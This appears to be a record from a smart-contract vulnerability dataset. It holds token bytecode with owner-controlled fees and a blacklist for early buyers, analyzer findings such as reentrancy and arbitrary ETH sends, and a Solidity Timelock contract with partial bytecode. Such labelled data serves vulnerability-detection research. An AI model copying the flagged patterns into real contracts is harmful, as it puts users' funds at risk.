5b61080b565b3480156103f257600080fd5b5061039261040136600461216f565b61087a565b34801561041257600080fd5b50601a546102fe906001600160a01b031681565b34801561043257600080fd5b50610392610441366004612156565b6108cb565b34801561045257600080fd5b50610392610461366004611f88565b610908565b34801561047257600080fd5b50610392610962565b34801561048757600080fd5b5061032e601e5481565b34801561049d57600080fd5b506103926104ac366004612134565b610b47565b3480156104bd57600080fd5b50610392610b8f565b3480156104d257600080fd5b5061032e6104e1366004611f88565b610bb9565b3480156104f257600080fd5b50610392610bdb565b34801561050757600080fd5b50610392610516366004612156565b610c4f565b34801561052757600080fd5b5061032e600a5481565b34801561053d57600080fd5b50610392610c92565b34801561055257600080fd5b5061032e601b5481565b34801561056857600080fd5b50610392610577366004612156565b610cec565b34801561058857600080fd5b506000546001600160a01b03166102fe565b3480156105a657600080fd5b5061032e601c5481565b3480156105bc57600080fd5b506103926105cb36600461216f565b610d68565b3480156105dc57600080fd5b506103926105eb366004612134565b610db9565b3480156105fc57600080fd5b5061029561060b36600461203c565b610e01565b34801561061c57600080fd5b5061039261062b36600461216f565b610e0e565b34801561063c57600080fd5b5061032e61064b366004611fc2565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561068257600080fd5b50610392610691366004612156565b610e5f565b3480156106a257600080fd5b506103926106b1366004612156565b610ea9565b3480156106c257600080fd5b506103926106d1366004611f88565b610ee7565b3480156106e257600080fd5b5061032e60185481565b60006106f9338484610fd1565b5060015b92915050565b60006107108484846110f5565b610762843361075d85604051806060016040528060288152602001612396602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061181b565b610fd1565b5060019392505050565b6000546001600160a01b0316331461079f5760405162461bcd60e51b8152600401610796906121e6565b60405180910390fd5b60005b8151811015610807576001600960008484815181106107c3576107c3612354565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ff81612323565b9150506107a2565b5050565b6000546001600160a01b031633146108355760405162461bcd60e51b8152600401610796906121e6565b6001600160a01b03811660009081526009602052604090205460ff1615610877576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108a45760405162461bcd60e51b8152600401610796906121e6565b60018211156108b257600080fd5b60018111156108c057600080fd5b600d91909155600f55565b6000546001600160a01b031633146108f55760405162461bcd60e51b8152600401610796906121e6565b600181111561090357600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461092857600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461098c5760405162461bcd60e51b8152600401610796906121e6565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156109ec57600080fd5b505afa158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a249190611fa5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa49190611fa5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610aec57600080fd5b505af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b249190611fa5565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b715760405162461bcd60e51b8152600401610796906121e6565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610baf57600080fd5b4761087781611855565b6001600160a01b0381166000908152600260205260408120546106fd9061188f565b6000546001600160a01b03163314610c055760405162461bcd60e51b8152600401610796906121e6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c795760405162461bcd60e51b8152600401610796906121e6565b6611c37937e08000811015610c8d57600080fd5b601b55565b6000546001600160a01b03163314610cbc5760405162461bcd60e51b8152600401610796906121e6565b601a54600160a01b900460ff1615610cd357600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610d0c57600080fd5b610d1530610bb9565b8111158015610d245750600081115b610d5f5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610796565b61087781611913565b6000546001600160a01b03163314610d925760405162461bcd60e51b8152600401610796906121e6565b6001821115610da057600080fd5b6013811115610dae57600080fd5b600b91909155600c55565b6000546001600160a01b03163314610de35760405162461bcd60e51b8152600401610796906121e6565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b60006106f93384846110f5565b6000546001600160a01b03163314610e385760405162461bcd60e51b8152600401610796906121e6565b600d821115610e4657600080fd5b600d811115610e5457600080fd5b600e91909155601055565b6000546001600160a01b03163314610e895760405162461bcd60e51b8152600401610796906121e6565b6004811115610e9757600080fd5b610ea381610e106122ed565b60185550565b6000546001600160a01b03163314610ed35760405162461bcd60e51b8152600401610796906121e6565b601c54811015610ee257600080fd5b601c55565b6000546001600160a01b03163314610f115760405162461bcd60e51b8152600401610796906121e6565b6001600160a01b038116610f765760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610796565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610796565b6001600160a01b0382166110945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610796565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610796565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610796565b6000811161121d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610796565b6001600160a01b03821660009081526009602052604090205460ff16156112565760405162461bcd60e51b81526004016107969061221b565b6001600160a01b03831660009081526009602052604090205460ff161561128f5760405162461bcd60e51b81526004016107969061221b565b3360009081526009602052604090205460ff16156112bf5760405162461bcd60e51b81526004016107969061221b565b6000546001600160a01b038481169116148015906112eb57506000546001600160a01b03838116911614155b1561166357601a54600160a01b900460ff166113495760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610796565b601a546001600160a01b03838116911614801561137457506019546001600160a01b03848116911614155b15611426576001600160a01b038216301480159061139b57506001600160a01b0383163014155b80156113b557506017546001600160a01b03838116911614155b80156113cf57506017546001600160a01b03848116911614155b1561142657601b548111156114265760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610796565b601a546001600160a01b0383811691161480159061145257506017546001600160a01b03838116911614155b801561146757506001600160a01b0382163014155b801561147e57506001600160a01b03821661dead14155b1561155d57601c548161149084610bb9565b61149a91906122b3565b106114f35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610796565b601a54600160b81b900460ff161561155d57600a546115139060786122b3565b421161155d57601e5481111561155d5760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b6044820152606401610796565b600061156830610bb9565b601d5490915081118080156115875750601a54600160a81b900460ff16155b80156115a15750601a546001600160a01b03868116911614155b80156115b65750601a54600160b01b900460ff165b80156115db57506001600160a01b03851660009081526006602052604090205460ff16155b801561160057506001600160a01b03841660009081526006602052604090205460ff16155b15611660576013546000901561163b57611630606461162a60135486611a9c90919063ffffffff16565b90611b1b565b905061163b81611b5d565b61164d611648828561230c565b611913565b47801561165d5761165d47611855565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806116a557506001600160a01b03831660009081526006602052604090205460ff165b806116d75750601a546001600160a01b038581169116148015906116d75750601a546001600160a01b03848116911614155b156116e457506000611809565b601a546001600160a01b03858116911614801561170f57506019546001600160a01b03848116911614155b1561176a576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561176a576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561179557506019546001600160a01b03858116911614155b15611809576001600160a01b038416600090815260046020526040902054158015906117e657506018546001600160a01b03851660009081526004602052604090205442916117e3916122b3565b10155b156117fc57600b54601155600c54601255611809565b600f546011556010546012555b61181584848484611b6a565b50505050565b6000818484111561183f5760405162461bcd60e51b81526004016107969190612191565b50600061184c848661230c565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610807573d6000803e3d6000fd5b60006007548211156118f65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610796565b6000611900611b9e565b905061190c8382611b1b565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061195b5761195b612354565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119af57600080fd5b505afa1580156119c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e79190611fa5565b816001815181106119fa576119fa612354565b6001600160a01b039283166020918202929092010152601954611a209130911684610fd1565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a59908590600090869030904290600401612242565b600060405180830381600087803b158015611a7357600080fd5b505af1158015611a87573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611aab575060006106fd565b6000611ab783856122ed565b905082611ac485836122cb565b1461190c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610796565b600061190c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc1565b6108773061dead836110f5565b80611b7757611b77611bef565b611b82848484611c34565b8061181557611815601454601155601554601255601654601355565b6000806000611bab611d2b565b9092509050611bba8282611b1b565b9250505090565b60008183611be25760405162461bcd60e51b81526004016107969190612191565b50600061184c84866122cb565b601154158015611bff5750601254155b8015611c0b5750601354155b15611c1257565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c4687611d6d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c789087611dca565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ca79086611e0c565b6001600160a01b038916600090815260026020526040902055611cc981611e6b565b611cd38483611eb5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d1891815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611d478282611b1b565b821015611d6457505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611d8a8a601154601254611ed9565b9250925092506000611d9a611b9e565b90506000806000611dad8e878787611f28565b919e509c509a509598509396509194505050505091939550919395565b600061190c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061181b565b600080611e1983856122b3565b90508381101561190c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610796565b6000611e75611b9e565b90506000611e838383611a9c565b30600090815260026020526040902054909150611ea09082611e0c565b30600090815260026020526040902055505050565b600754611ec29083611dca565b600755600854611ed29082611e0c565b6008555050565b6000808080611eed606461162a8989611a9c565b90506000611f00606461162a8a89611a9c565b90506000611f1882611f128b86611dca565b90611dca565b9992985090965090945050505050565b6000808080611f378886611a9c565b90506000611f458887611a9c565b90506000611f538888611a9c565b90506000611f6582611f128686611dca565b939b939a50919850919650505050505050565b8035611f8381612380565b919050565b600060208284031215611f9a57600080fd5b813561190c81612380565b600060208284031215611fb757600080fd5b815161190c81612380565b60008060408385031215611fd557600080fd5b8235611fe081612380565b91506020830135611ff081612380565b809150509250929050565b60008060006060848603121561201057600080fd5b833561201b81612380565b9250602084013561202b81612380565b929592945050506040919091013590565b6000806040838503121561204f57600080fd5b823561205a81612380565b946020939093013593505050565b6000602080838503121561207b57600080fd5b823567ffffffffffffffff8082111561209357600080fd5b818501915085601f8301126120a757600080fd5b8135818111156120b9576120b961236a565b8060051b604051601f19603f830116810181811085821117156120de576120de61236a565b604052828152858101935084860182860187018a10156120fd57600080fd5b600095505b838610156121275761211381611f78565b855260019590950194938601938601612102565b5098975050505050505050565b60006020828403121561214657600080fd5b8135801515811461190c57600080fd5b60006020828403121561216857600080fd5b5035919050565b6000806040838503121561218257600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156121be578581018301518582016040015282016121a2565b818111156121d0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122925784516001600160a01b03168352938301939183019160010161226d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156122c6576122c661233e565b500190565b6000826122e857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156123075761230761233e565b500290565b60008282101561231e5761231e61233e565b500390565b60006000198214156123375761233761233e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203abe85c2a58df10fbe114ec13846611121a91bcbc941bf075b4603744eb161a064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,780
0xe789af79D295B0e4fA1C1E8a1B6Fe186c1ae2326
pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060